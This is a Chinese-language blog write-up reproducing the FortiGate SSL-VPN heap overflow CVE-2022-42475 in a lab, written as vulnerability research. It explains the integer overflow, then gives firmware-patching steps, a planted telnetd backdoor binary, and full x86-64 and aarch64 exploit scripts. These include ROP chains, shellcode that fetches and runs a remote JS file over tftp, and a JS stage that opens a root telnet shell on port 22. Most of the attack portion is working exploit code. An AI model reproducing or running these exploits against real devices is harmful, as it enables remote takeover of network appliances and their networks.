CVE-2022-42475 复现研究

警告
本文最后更新于 2023-07-05,文中内容可能已过时。

漏洞详情

漏洞是 FortiGate 的 SSLVPN 堆溢出,发生在检查 HTTP 包中 Content-Length 字段时直接进行了有符号位 64 位扩展(movsxd),导致攻击者可以通过设定特殊的 Content-Length 值造成整数溢出,进一步通过之后的memcpy进行堆溢出

环境配置

参考官方文档进行设置,这里使用的是 6.4.10(Hardware Version 13),在 VMware 中配置号虚拟机之后,修改网络适配器的网络连接为 VMnet8(NAT 模式)

之后会将 FortiGate 的 IP 地址和网关配置为 VMware 设定的值

开启虚拟机,登录的默认用户名是 admin ,密码为空,登陆后会强制要求修改密码

然后直接运行exec factoryreset进行出厂设置,部分版本有可能需要手动上传 license,在这里直接重置就不需要了

再次设置密码之后进行 IP 设置,以笔者的 IP 为例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# 设置 IP
config system interface
edit port1
set ip 192.168.23.88 255.255.255.0
set allowaccess http https ssh ping telnet
end

# 设置网关
config router static
edit 1
set device port1
set gateway 192.168.23.2
end

浏览器中输入192.168.23.88登录管理面板,找到 VPN/SSL-VPN Settings,设置好 SSL-VPN 相关的内容

在 VPN/SSL-VPN Portals 中关闭 Enable Split Tunneling

然后配置防火墙策略

配置完成之后访问192.168.23.88:10443,能访问就行

注意

The FortiGate-VM includes a limited 15-day evaluation license that supports:

  • 1 CPU maximum
  • 2 GB memory maximum
  • Low encryption only (no HTTPS administrative access) …

由于试用版 License 不支持 HTTPS 的一些加密,自然 SSL-VPN 也不一定能用,总之能访问就行

漏洞原理

FortiGate 本身是一个残缺的 LinuxOS,缺少很多基本的工具,比如sh,虽然/bin目录下存在sh,但本质是一个链接到/bin/symctl的软链接,如果要进行调试需要往系统中塞入其他工具和后门

通过 VMware 挂载 FortiGate 的硬盘来提取里面的文件,然后往里面塞入 busybox 和 gdb 相关的工具,方便远程连接调试

解包

VMware 挂载的硬盘是sdb1,将其挂载到其他地方

1
2
3
cd ~
mkdir tmp
sudo mount /dev/sdb1 ./tmp

然后将rootfs.gz拷贝到其他地方进行进一步的提取

1
2
3
4
5
6
7
8
mkdir extract
mkdir extract/build
mkdir extract/make

cp ~/tmp/rootfs.gz extract

cd ~/extract
cp rootfs.gz build

FortiGate 的rootfs.gz中包括了对压缩的解压,直接用自带的工具就行

1
2
3
4
gzip -d rootfs.gz
sudo cpio -idm < ./rootfs
sudo chroot . /sbin/xz -d /bin.tar.xz
sudo chroot . /sbin/ftar -xf /bin.tar

将编译好的静态链接的 busybox、gdb、gdbserver 放入/bin目录下,并且删除原本的sh,软链接到/bin/busybox,方便之后 telnet 连接到 FortiGate 启动 shell

1
2
sudo rm -rf ./sh
sudo ln -s /bin/busybox sh

然后删除smartctl,替换一个后门程序

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>

int tcp_port = 22;
char *ip = "192.168.23.88";

void shell() {
  system("/bin/busybox ls", 0, 0);
  system("/bin/busybox id", 0, 0);
  system(
      "/bin/busybox killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 "
      "-p 22",
      0, 0);
  system("/bin/busybox sh", 0, 0);
  return;
}

int main(int argc, char const *argv[]) {
  shell();
  return 0;
}

静态链接编译

1
gcc -g get.c -static -o shellcode

改名替换掉smartctl,并添加权限

1
2
3
cp ./shellcode ~/extract/build/bin/smartctl

sudo chmod 755 busybox gdb gdbserver smartctl sh

为了绕过系统启动的检测,还需要对init文件进行 patch,/bin目录下大多数文件都是软链接到/bin/init的,包括这个漏洞所在的sslvpnd

Patch

init文件需要 patch 两处才能绕过系统启动检查

第一处是将jnz改为jz

第二处是找到SHA1_256的交叉引用位置上方,patch FF FF00 00

打包

回到~/extract/build目录,对修改好的/bin目录打包

1
2
3
4
5
6
7
8
sudo chroot . /sbin/ftar -cf bin.tar ./bin
sudo chroot . /sbin/xz -e bin.tar
sudo -s
find . -path './bin' -prune -o -print | cpio -H newc -o > ../make/rootfs.raw
cd ../make
cat rootfs.raw | gzip > rootfs.gz

cp ./rootfs.gz ~/tmp/

将打包好的rootfs.gz重新放回挂载目录~/tmp,替换掉原本的rootfs.gz

测试

在 FortiGate 中执行diagnose hardware smartctl触发后门,后门会打印根目录和用户,并且在本地的 22 端口开启一个 telnet 连接

漏洞利用

VM 利用

由于 FortiGate 用的堆管理是 Jemalloc,并非 Ptmalloc,所以很多伪造结构体修改 Metadata 的方法都没用,只能用类似堆喷的方法来覆盖

根据 FortiGate-VM evaluation license 中的堆喷方法,覆盖到 SSL 结构体中的 函数指针,在 SSL 进行其他的一些操作(比如读取),调用到这个函数指针,就能执行 ROPchain 了

首先要找到漏洞点,这里通过 CataLpa | CVE-2022-42475 可以知道,diff 补丁之后发现添加了一处变量大小判断,因为是堆溢出漏洞,猜测是哪一部分出现了整数溢出,导致内存分配函数返回了一块较小的内存,而后续拷贝数据时又使用了较大的 size

由于 SSLVPN 需要授权,漏洞出现在请求解析阶段的可能性很大,这里猜测是 Content-Length 解析出现了整数溢出

我们可以先尝试打一个 int 上限的 payload 进去,看一下停在了哪里

在 FortiGate 上开启一个调试端口,方便本地 gdb 远程连接到服务器上进行调试

1
2
3
4
5
6
/ # busybox ps | busybox grep sslvpn
  182 0         0:00 /bin/sslvpnd
  407 0         0:00 busybox grep sslvpn
/ # killall telnetd && gdbserver :23 --attach 182
  Attached; pid = 182
  Listening on port 23

本地开启 gdb

1
target remote 192.168.23.88:23

构造一个100000字节长的 payload2,然后设置Content-Length: 2147483647发送请求包到192.168.23.88:10443/remote/error

1
2
perl -e 'print "A"x100000' > payload2
curl --data-binary @payload2 -H 'Content-Length: 2147483647' -vik 'https://192.168.23.88:10443/remote/error'

可以看到发生了 segmentation fault,最后落在了memset,看起来是长度参数出了问题,看一下调用栈,往前找一下调用点

pool_alloc中调用了memset,在这里打个断点看一下

可以看到在调用pool_alloc准备参数的地方,rsi保存的是第二个参数,即长度

1
2
3
4
5
0x13575f0    mov    eax, dword ptr [rax + 0x18]
0x13575f3    mov    rdi, qword ptr [r13]
0x13575f7    lea    esi, [rax + 1]
0x13575fa    movsxd rsi, esi
0x13575fd    call   0x1248610

这一段汇编将Content-Length ([rax + 0x18])先保存到eax中,然后将rax + 1保存到esi中,即esi = Content-Length + 1,然后调用movsxd进行有符号的 64 位扩展

因为我们传入的是0x7fffffff,加 1 之后就是0x80000000,符号位是 1,所以扩展之后就是0xffffffff80000000

再进入pool_alloc看看memset参数情况

所以这里就是引发 segmentation fault 的关键,如果我们传入一个非常大的Content-Length,在movsxd的时候进行了有符号的扩展,导致扩展完之后与预期不同

那么我们可以构造一个Content-Length,让其在经过扩展之后变成一个能够通过memset的值,并在下面的memcpy中保持较大的 size,从而实现堆溢出

这里使用Content-Length = 0x1b00000000,在扩展之后变为0x1

在下面的memcpy中,第三个参数是一个比较大的数,这样就实现了堆溢出的覆盖

在一些特殊长度的 payload 中,可以快速覆盖到函数指针,比如 2592、1568,可能每个版本的偏移不一样

原因还是 Jemalloc,堆喷比较看脸,其他长度的 payload 也可以实现,可以先申请数十个 SSL 结构体的分配然后释放

不过目的都是为了覆盖到函数指针,6.4.10 版本中覆盖到的函数指针调用点在这里

注意

这里并不是其他 PoC 所说的 SSL 结构体中的handshakefunc函数指针,因为如果要打到那个地方至少也是在libssl.so中崩溃的吧 www

和导师沟通学习了一下了解到这里应该是一个异步读写的阶段,我们分配的大小正好与读写的结构体的大小差不多,导致内存分配器将可以导致溢出的结构体分配到了差不多的位置从而覆盖到了某个结构体中的函数指针,从而实现了控制流劫持

一般来说,多打几次就能到达这个地方,这里直接在这里打断点看一下

进入 call rax 的寄存器状态和上下文

call rax这里,rdxr11是可控的,r11指向的是payloadrdxpayload + 0x568的位置,从汇编前后的段落来看,rax指向的是payload + 0x568 + 0xC8的位置

如果将rax指向一个 ROP 地址,比如push rdx; pop rsp; ret,由于rdx是可控的,所以跳转到的地方也是可控的,这样就能实现栈迁移

这里用 EXP 来演示一下

我们只需要在 payload 上布置 ROPchain 就能实现 RCE 了

这里有个小技巧就是,在使用 ROPgadget 找 gadget 的时候,可以直接输出到文件中通过 grep 找,因为init本身特别大,直接找的话会非常慢

而且不知道是因为版本的原因还是其他的原因,6.4.10 这个版本找 gadget 还是比较困难的,没必要只找push/pop相关的 gadget,只要能布置好寄存器传参就可以(最开始在这里脑子没转过来花了不少时间)

Ret2mprotect

为了方便,同样也为了执行更多的指令,这里通过 Ret2mprotect 的方法来让程序执行任意的 shellcode

我们可以通过 ROPchain 来调用mprotect修改内存页属性为可执行,从而在可控的范围内执行任意的 shellcode

对于这个漏洞环境而言,我们可以布置在这里

执行mprotect之前

因为偏移不会改变,所以我们只需要计算出相对偏移就可以得到这段内存的起始地址,然后通过mprotect(base_addr, length, 7)来修改一段内存的属性为rwx,这样就能执行了

执行mprotect之后

Exploit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
def getPayload():
    # push rdx ; cmp esp, dword ptr [rbx - 3] ; pop rsp ; ret
    push_rdx_pop_rsp_retf = 0x0000000002dfd438
    add_rax_rdx_ret = 0x00000000006d4ae6  # add rax, rdx ; ret
    add_rax_rdi_ret = 0x0000000002183e6d  # add rax, rdi ; ret
    push_rax_ret = 0x000000000041b280  # push rax ; ret
    pop_rax_ret = 0x000000000041b298  # pop rax ; ret
    pop_rax_pop_rbp_ret = 0x0000000000505488  # pop rax ; pop rbp ; ret
    pop_rdi_ret = 0x000000000042e6de  # pop rdi ; ret
    pop_rsi_ret = 0x000000000042ea58  # pop rsi ; ret
    push_rdx_ret = 0x00000000007f1ead  # push rdx ; ret
    pop_rdx_ret = 0x000000000042ee05  # pop rdx ; ret

    jmp_mprotect = 0x000000000117FD3B  # jmp mprotect
    call_execl = 0x00000000012187B3  # call execl

    junk = 0x000000000054be11

    # push rax ; pop rdx ; pop rbx ; pop r12 ; pop rbp ; ret
    push_rax_pop_rdx_ret = 0x000000000221fcda
    # mov rdi, rdx ; rep stosq qword ptr [rdi], rax ; ret
    mov_rdi_rdx_ret = 0x00000000022e955c

    rdx_to_r11_offset = 0x568  # rdx - offset = payload_address
    rax_to_rdx_offset = 0xC8

    command = b'/bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22'

    payload = b'A' * (rdx_to_r11_offset)

    payload += p64(pop_rax_pop_rbp_ret)
    # We have 0xC8 bytes to write gadget
    payload += p64(0xfffffffffff2c680)  # memory_base offset
    payload += p64(junk)
    payload += p64(add_rax_rdx_ret)  # rax save the memory_base
    payload += p64(push_rax_pop_rdx_ret)
    payload += p64(0)
    payload += p64(mov_rdi_rdx_ret)
    payload += p64(pop_rdx_ret)
    payload += p64(0x7)
    payload += p64(pop_rsi_ret)
    payload += p64(0x280000)
    payload += p64(jmp_mprotect)  # modify memory permission to `rwx`
    payload += p64(pop_rax_ret)
    payload += p64(0xd3980 + rax_to_rdx_offset + 0x8)  # shellcode offset
    payload += p64(add_rax_rdi_ret)
    payload += p64(push_rax_ret)  # ret2shellcode
    payload += (rax_to_rdx_offset - (len(payload) - rdx_to_r11_offset)) * b'A'
    payload += p64(push_rdx_pop_rsp_retf)  # stack migration

    # execute system('/bin/sh', 0, 0)
    # Now rax is address of shellcode, we need to save base
#     shellcode = asm("""
#         mov r11, rax
#         sub r11, 0x638
#         mov rdi, r11
#         mov rsi, 0
#         push 83
#         pop rax
#         syscall
# """)

    shellcode = asm('sub rsp, 0x1000')
    shellcode += asm(shellcraft.amd64.crash())

    payload += shellcode

    payload += (2592 - len(payload)) * b'A'

    with open('payload', 'wb') as f:
        f.write(payload)

    return payload

这里尝试一个简单的shellcraft.amd64.crash(),我们预期能够让sslvpnd崩溃重启

执行 exp

可以看到守护进程的 pid 与之前不一样,说明被打崩重启了,也证明 rce 成功了

真实环境利用

真实的 FortiGate 环境下并没有可以用的 shell 和 busybox,缺少了很多东西,但是内置了 nodejs,真实环境中可以通过下载 js 文件来实现更多的利用

因为内置的sh基本不可用,可以通过execl和其他一系列exec函数来执行命令

FortiGate 的/bin下是有tftp的,所以可以通过tftp来从外部下载文件到内部,然后通过node来执行 js 文件

这里就直接参考 ioo0s | CVE-2022-42475 的写法了

部署 tftp

可以直接从包管理安装

1
2
3
4
5
6
7
sudo apt-get install tftpd-hpa

sudo mkdir /data/
sudo mkdir /data/tftp

sudo chmod -R 777 /data/tftp
sudo chown -R nobody /data/tftp

修改配置文件

1
2
3
4
5
6
7
$ cat /etc/default/tftpd-hpa 
# /etc/default/tftpd-hpa

TFTP_USERNAME="tftp"
TFTP_DIRECTORY="/var/lib/tftpboot"
TFTP_ADDRESS=":69"
TFTP_OPTIONS="--secure -v"

修改为

1
2
3
4
5
6
# /etc/default/tftpd-hpa

TFTP_USERNAME="tftp"
TFTP_DIRECTORY="/data/tftp"
TFTP_ADDRESS=":69"
TFTP_OPTIONS="--secure -v --ipv4"

最后重启服务

1
service tftpd-hpa restart

构造语句

我们需要构造一条执行语句

1
execl("/bin/tftp", "/bin/tftp", "192.168.23.135", "exp.js", "get", "octet", "/sbin/bu", NULL);

其中192.168.23.135是 ftp 服务器的地址,exp.js是需要执行的 js 文件,tftp 下载exp.js/sbin/bu路径

然后构造一条

1
execl("/bin/node", "/bin/node", "/sbin/bu", NULL);

这样就能让 node.js 执行我们的 js 文件

exp.js的内容是从 ftp 服务器下载 busybox 并修改权限,软链接一个sh/bin目录下,并在 22 端口开启一个telnetd服务,这样外部就能通过 telnet 连接到 FortiGate 上了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
var fs = require('fs');
const https = require('https')

const { execFile, execFileSync } = require('child_process');

function exp() {
  const file2 = '/bin/ash';
  fs.access(file2, fs.constants.F_OK, (err) => {
    if (err) {
      try {
        const res = fs.symlinkSync('/sbin/busybox', '/bin/ash');
        console.log('ash create success');
      } catch (ex) {
        console.log('ash create error' + ex);
      }
    } else {
      console.log('ash already created');
    }
  });

  const stdout1 = execFileSync('/bin/killall', ['sshd']);
  const stdout2 = execFileSync('/sbin/busybox', ['telnetd', '-l', '/bin/ash', '-b', '0.0.0.0', '-p', '22']);
  console.log(stdout1);
  console.log(stdout2);
  console.log('shell process create success');
}

const file1 = '/sbin/busybox';
fs.access(file1, fs.constants.F_OK, (err) => {
  if (err) {
    try {
      execFile('/bin/tftp', ['192.168.23.135', 'busybox', 'get', 'octet', '/sbin/busybox'], (err, stdout, stderr) => {
        if (err) {
          console.log(err);
          return;
        }
        console.log('download success');
        const stdout3 = fs.chmodSync('/sbin/busybox', 777);
	    console.log(stdout3)
        console.log('chmod success');
        exp();
      });
    } catch (ex) {
      console.log('ash create error' + ex);
    }
  } else {
    console.log('busybox already download');
    exp();

  }
});

Full Exploit

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
from pwn import *
import sys
import socket
import ssl
import binascii
import subprocess

context(os='linux', arch='amd64', terminal=['tmux', 'splitw', '-h'])

def getPayload(shellcode):
    # push rdx ; cmp esp, dword ptr [rbx - 3] ; pop rsp ; ret
    push_rdx_pop_rsp_retf = 0x0000000002dfd438
    add_rax_rdx_ret = 0x00000000006d4ae6  # add rax, rdx ; ret
    add_rax_rdi_ret = 0x0000000002183e6d  # add rax, rdi ; ret
    push_rax_ret = 0x000000000041b280  # push rax ; ret
    pop_rax_ret = 0x000000000041b298  # pop rax ; ret
    pop_rax_pop_rbp_ret = 0x0000000000505488  # pop rax ; pop rbp ; ret
    pop_rdi_ret = 0x000000000042e6de  # pop rdi ; ret
    pop_rsi_ret = 0x000000000042ea58  # pop rsi ; ret
    push_rdx_ret = 0x00000000007f1ead  # push rdx ; ret
    pop_rdx_ret = 0x000000000042ee05  # pop rdx ; ret

    jmp_mprotect = 0x000000000117FD3B  # jmp mprotect
    call_execl = 0x00000000012187B3

    junk = 0x000000000054be11

    # push rax ; pop rdx ; pop rbx ; pop r12 ; pop rbp ; ret
    push_rax_pop_rdx_ret = 0x000000000221fcda
    # mov rdi, rdx ; rep stosq qword ptr [rdi], rax ; ret
    mov_rdi_rdx_ret = 0x00000000022e955c

    rdx_to_r11_offset = 0x568  # rdx - offset = payload_address
    rax_to_rdx_offset = 0xC8

    payload = b'A' * (rdx_to_r11_offset)

    payload += p64(pop_rax_pop_rbp_ret)
    # We have 0xC8 bytes to write gadget
    payload += p64(0xfffffffffff2c680)  # memory_base offset
    payload += p64(junk)
    payload += p64(add_rax_rdx_ret)  # rax save the memory_base
    payload += p64(push_rax_pop_rdx_ret)
    payload += p64(0)
    payload += p64(mov_rdi_rdx_ret)
    payload += p64(pop_rdx_ret)
    payload += p64(0x7)
    payload += p64(pop_rsi_ret)
    payload += p64(0x280000)
    payload += p64(jmp_mprotect)  # modify memory permission to `rwx`
    payload += p64(pop_rax_ret)
    payload += p64(0xd3980 + rax_to_rdx_offset + 0x8)  # shellcode offset
    payload += p64(add_rax_rdi_ret)
    payload += p64(push_rax_ret)  # ret2shellcode
    payload += (rax_to_rdx_offset - (len(payload) - rdx_to_r11_offset)) * b'A'
    payload += p64(push_rdx_pop_rsp_retf)  # stack migration

    # execute system('/bin/sh', 0, 0)
    # Now rax is address of shellcode, we need to save base
#     shellcode = asm("""
#         mov r11, rax
#         sub r11, 0x638
#         mov rdi, r11
#         mov rsi, 0
#         push 83
#         pop rax
#         syscall
# """)

    _shellcode = asm('sub rsp, 0x1000')

    if shellcode == '':
        _shellcode += asm(shellcraft.amd64.crash())
    else:
        _shellcode += asm(shellcode)

    payload += _shellcode
    payload += p64(call_execl)

    payload += (2592 - len(payload)) * b'\x00'

    with open('payload', 'wb') as f:
        f.write(payload)

    print('[+] Got payload')

    return payload

def createSSLContext():
    _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    _socket.connect(('192.168.23.88', 10443))
    _default_context = ssl._create_unverified_context()
    _socket = _default_context.wrap_socket(_socket)
    return _socket

def bytesStringPack(s):
    return str(b'0x' + binascii.hexlify(s[::-1]))[2:-1]

def genDownloadFileShellcode():
    call_execl = 0x00000000012187B3

    save_path = bytesStringPack(b'/sbin/bu')
    arg2 = bytesStringPack(b'octet')
    arg1 = bytesStringPack(b'get')
    filename = bytesStringPack(b'exp.js')
    ip_addr2 = bytesStringPack(b'23.135')
    ip_addr1 = bytesStringPack(b'192.168.')

    cmd_path2 = bytesStringPack(b'p')
    cmd_path1 = bytesStringPack(b'/bin/tft')

    # execl("/bin/tftp", "/bin/tftp", "192.168.23.135", "exp.js", "get", "octet", "/sbin/bu", NULL);
    #       rdi          rsi          rdx               rcx       r8     r9       stack       stack
    shellcode = """
        mov rbx, {}
        push rbx
        mov r9, rsp
        mov rbx, {}
        push rbx
        mov r8, rsp
        mov rbx, {}
        push rbx
        mov rcx, rsp
        mov rbx, {}
        push rbx
        mov rbx, {}
        push rbx
        mov rdx, rsp
        mov rbx, {}
        push rbx
        mov rbx, {}
        push rbx
        mov rsi, rsp
        mov rdi, rsp
        push 0
        mov rbx, {}
        push rbx
        mov r10, rsp
        add rax, 0x90
        mov rsp, rax
        push r10
        sub rsp, 0x8
        ret
""".format(arg2, arg1, filename, ip_addr2, ip_addr1, cmd_path2, cmd_path1, save_path)

    return shellcode

def genExecuteJsFileShellcode():
    call_execl = 0x00000000012187B3

    js_path = bytesStringPack(b'/sbin/bu')
    bin_path2 = bytesStringPack(b'e')
    bin_path1 = bytesStringPack(b'/bin/nod')

    # execl("/bin/node", "/bin/node", "/sbin/bu", NULL);
    shellcode = """
        mov rcx, 0
        mov rbx, {}
        push rbx
        mov rdx, rsp
        mov rbx, {}
        push rbx
        mov rbx, {}
        push rbx
        mov rsi, rsp
        mov rdi, rsp
        add rax, 0x40
        mov rsp, rax
        nop
        ret
""".format(js_path, bin_path2, bin_path1)

    return shellcode

def exp(payload):
    path = '/remote/error'.encode()
    CL = '115964117980'

    data = b'POST ' + path + b' HTTP/1.1\r\nHost: 192.168.23.88\r\nContent-Length: ' + \
        CL.encode() + b'\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\n' + payload

    for i in range(50):
        time.sleep(0.1)
        try:
            _socket = createSSLContext()
            _socket.settimeout(5)
            _socket.send(data)
            print('[+] Successfully send data to 192.168.23.88:10443')
        except Exception as e:
            print('Error occurred: ' + repr(e))
            pass

def simpleTest():
    cmd = "timeout 5s curl --data-binary @payload -H 'Content-Length: 115964117980' -ik 'https://192.168.23.88:10443/remote/error'"
    for i in range(10):
        print('[*] {} times to try to seed payload to 192.168.23.88:10443'.format(i + 1))
        os.system(cmd)

if __name__ == "__main__":

    payload = getPayload(genDownloadFileShellcode())

    simpleTest()

    payload = getPayload(genExecuteJsFileShellcode())

    simpleTest()

在布置execl的时候,我尝试直接在空白的内存中直接将最后两个要入栈的参数布置好,然后直接jmpexecl的调用点,但是这样似乎会导致execl报错,可能是不存在文件或路径,或者是 Bad Address

查了一下有关的 StackOverflow 以及原博客,这里execl的参数必须是地址,不能是字符串,不过修改成地址之后再jmp,虽然进了中断,但不知道为什么还是没有执行成功

然后这里通过socket发包过去也没办法执行,用curl反倒是可以,呃

另一种方法

在 IDA 里搜索run_command相关的字符串,找交叉引用会找到一个函数,这个函数输入一个字符串参数,过程中fork了一个子进程执行execute,用于执行输入字符串的命令

execute中很直白的检查参数,然后调用execve

所以可以直接 ROPchain 跳到execute这里执行就行了,不用构造很麻烦的东西了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
def newGetPayload(command):
    # push rdx ; cmp esp, dword ptr [rbx - 3] ; pop rsp ; ret
    push_rdx_pop_rsp_retf = 0x0000000002dfd438
    add_rax_rdx_ret = 0x00000000006d4ae6  # add rax, rdx ; ret
    add_rax_rdi_ret = 0x0000000002183e6d  # add rax, rdi ; ret
    push_rax_ret = 0x000000000041b280  # push rax ; ret
    pop_rax_ret = 0x000000000041b298  # pop rax ; ret
    pop_rax_pop_rbp_ret = 0x0000000000505488  # pop rax ; pop rbp ; ret
    pop_rdi_ret = 0x000000000042e6de  # pop rdi ; ret
    pop_rsi_ret = 0x000000000042ea58  # pop rsi ; ret
    push_rdx_ret = 0x00000000007f1ead  # push rdx ; ret
    pop_rdx_ret = 0x000000000042ee05  # pop rdx ; ret

    jmp_mprotect = 0x000000000117FD3B  # jmp mprotect
    call_execl = 0x00000000012187B3
    call_run_command = 0x000000000043DE95

    junk = 0x000000000054be11

    # push rax ; pop rdx ; pop rbx ; pop r12 ; pop rbp ; ret
    push_rax_pop_rdx_ret = 0x000000000221fcda
    # mov rdi, rdx ; rep stosq qword ptr [rdi], rax ; ret
    mov_rdi_rdx_ret = 0x00000000022e955c

    rdx_to_r11_offset = 0x568  # rdx - offset = payload_address
    rax_to_rdx_offset = 0xC8

    payload = b'A' * (rdx_to_r11_offset)

    payload += p64(pop_rax_pop_rbp_ret)
    # We have 0xC8 bytes to write gadget
    payload += p64(0x58)
    payload += p64(junk)
    payload += p64(add_rax_rdx_ret)
    payload += p64(push_rax_pop_rdx_ret)
    payload += p64(0)
    payload += p64(mov_rdi_rdx_ret)
    payload += p64(call_run_command)
    payload += command.ljust(80, b'\x00')
    payload += (rax_to_rdx_offset - (len(payload) - rdx_to_r11_offset)) * b'A'
    payload += p64(push_rdx_pop_rsp_retf)  # stack migration

    # execute system('/bin/sh', 0, 0)
    # Now rax is address of shellcode, we need to save base
#     shellcode = asm("""
#         mov r11, rax
#         sub r11, 0x638
#         mov rdi, r11
#         mov rsi, 0
#         push 83
#         pop rax
#         syscall
# """)

    payload += (2592 - len(payload)) * b'\x00'

    with open('payload', 'wb') as f:
        f.write(payload)

    print('[+] Got payload')

    return payload

Aarch64

ARM 的利用比较困难,首先是因为 ARM 本身的 32 位指令对齐,导致栈迁移本身很难利用,我找了许多有关的博客,基本上是特制的二进制文件来实现利用,现实环境中比较难利用

其二是对结构体大小的获取,上面 X64 的利用是通过init中某个异步读写结构体的函数指针,通过多次尝试我还没能找到这个结构体的大概大小从而让 Jemalloc 分配到附近的位置,之前打了几次能打到libssl.so中,但是是覆盖到了*method这个虚表指针,只有 8 字节能写,基本上是不能利用的

从直觉上猜测,在pool_alloc的时候,尽可能地分配比较小的空间,让内存管理器将init中未知的结构体和exp_socket结构体分配到比较接近的位置,然后覆盖一个比较大的 payload 来覆盖未知结构体中的函数指针

其中x2x16都是能控制的,这个版本的x2指向的是距离 payload 0x1568偏移的地方,我们可以找到一个 gadget 如下

1
0x0000000002974e9c : mov x0, x2 ; ldr x2, [x2, #0x70] ; blr x2

execute_command的地址放在x2 + 0x70的位置,[x2]保存要执行的命令字符串,然后就能直接跳到execve的地方执行命令了

存在的问题是不能稳定利用,至少需要打 3-4 分钟,还存在覆盖到 SSL 结构体的可能,需要尝试 2-3 次,利用到漏洞点至少需要 6-12 分钟,考虑到需要分两次进行利用,所以利用成功至少需要 12-24 分钟,比较鸡肋

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import socket
import ssl
import time


def createSSLContext():
    _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    _socket.connect(('192.168.1.99', 10443))
    _default_context = ssl._create_unverified_context()
    _socket = _default_context.wrap_socket(_socket)
    return _socket


def exp(payload):
    path = '/remote/error'.encode()
    CL = '115964116992'

    exp_data = b'POST ' + path + b' HTTP/1.1\r\nHost: 192.168.1.99\r\nContent-Length: ' + \
        CL.encode() + b'\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\n' + payload

    socks = []

    # Layout heap
    for i in range(60):
        time.sleep(0.5)
        _socket = createSSLContext()
        socks.append(_socket)
        print("[+] Send valid data {} times".format(i))

    # Release memory
    for i in range(20, 40, 2):
        time.sleep(0.5)
        _socket = socks[i]
        _socket.close()
        socks[i] = None
        print("[-] Release some ssl_st")

    # Trigger

    print("[+] EXP socket trigger...")
    exp_socket = createSSLContext()

#    for i in range(20):
#        time.sleep(0.5)
#        _socket = createSSLContext()
#        socks.append(_socket)
#        print("[+] Alloc another ssl_st")

    exp_socket.sendall(exp_data)
    print("[+] Send payload to sslvpn")

    index = 0
    for _socket in socks:
        if _socket:
            print("[*] Try {} times to call handshake_func".format(index))
            index += 1
            data = b'A' * 40
            _socket.sendall(data)


def getPayload(length, command):
    # 0x2974e9c: mov x0, x2 ; ldr x2, [x2, #0x70] ; blr x2
    # 0x455950: execute_command(const char *str)
    # we can control x2, x16
    # This payload will call `*(void *)(x2 + 0x70)(*x0)`.

    payload = b'A' * 0x1568  # padding
    payload += command.ljust(0x70, b'\x00')  # command
    payload += b'\x50\x59\x45\x00\x00\x00\x00\x00'  # jmp to `execute_command`
    payload += b'\x9c\x4e\x97\x02\x00\x00\x00\x00' * \
        ((length - len(payload)) // 8)  # jmp to gadget
    payload = payload.ljust(length, b'\x41')

    return payload


if __name__ == "__main__":
    length = 100000

    payload = getPayload(length, b'busybox ls')

    while True:
        time.sleep(1)
        exp(payload=payload)

Reference

0%